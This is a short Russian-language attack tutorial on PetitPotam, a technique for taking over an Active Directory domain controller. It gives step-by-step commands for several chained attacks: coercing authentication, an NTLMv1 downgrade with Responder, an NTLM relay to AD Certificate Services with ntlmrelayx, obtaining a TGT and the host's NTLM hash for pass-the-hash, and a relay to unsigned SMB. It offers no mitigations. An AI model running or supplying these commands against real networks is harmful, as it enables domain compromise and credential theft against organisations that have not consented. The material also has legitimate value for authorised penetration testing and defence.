PetitPotam
Атака PetitPotam позволяет захватить контроллер домена всего за несколько действий. Атака основана на том, что можно заставить контроллер домена аутентифицироваться на вашем хосте, получить его хэш и ретранслировать его для повышения привилегий.
python3 PetitPotam.py -u username -p password -d domain.local listener target
Понижение аутентификации до NTLMv1
Это самый простой и быстрый способ эксплуатации. В случае, если групповыми политиками хостам разрешена аутентификация по протоколу NTLMv1, атакующий может заставить хост понизить протокол аутентификации до NTLMv1. Протокол NTLMv1 является небезопасным и позволяет осуществить перебор хеша в течение короткого срока для получения NTLM-хеша учетной записи.
Как эксплуатировать
Проще всего реализовать эту атаку с помощью утилиты Responder.
./Responder.py --lm --I eth0 --A
Выпуск сертификата в центре сертификации
Это самый популярный способ использования PetitPotam. В случае, если в инфраструктуре есть центр сертификации (Active Directory Certificate Services), и в нем активированы службы Web Enrollment или Certificate Enrollment Web Service, атакующий может провести атаку NTLM Relay на центр сертификации, получить сертификат хоста и затем с помощью сертификата получить TGT-билет. Далее можно также получить NTLM-хеш учетной записи хоста.
ntlmrelayx.py -smb2support -t http://CA-IP/certsrv/certfnsh.asp --adcs --template KerberosAuthentication
Затем эксплуатируем PetitPotam, получаем запрос. Ntlmrelayx.py генерирует запрос, отправляет его в центр сертификации. В результате атаки мы получаем сертификат в base64.
Декодируем сертификат и запрашиваем с его помощью TGT-билет.
сat base64_cert.txt | base64 -d > host_cert.pfx python3 gettgtpkinit domain.local/vuln-hostname\$ -cert-pfx path-to-cert host.ccache
Получаем NTLM-хеш учетной записи хоста с использованием утилиты getnthash.py. В параметре key нужно указать AS-REP encryption key, который был получен при выпуске TGT-билета:
export KRB5CCName=host.ccache python3 getnthash.py domain.local/vuln-hostname\$ -key as-rep-key
Далее этот NTLM-хеш можно использовать для атак Pass-the-Hash.
PetitPotam можно сочетать с атакой NTLM Relay на SMB (отсутствие подписи на SMB встречается довольно часто). Запускаем ntlmrelayx.py:
ntlmrelayx.py -tf exchanges-list.txt -socks
После эксплуатации PetitPotam на хосте, который является администратором, получаем SMB-сессии от имени администратора.
Сама по себе уязвимость PetitPotam не является критической, однако в сочетании с недостатками конфигурации или особенностями инфраструктуры может быть очень опасной.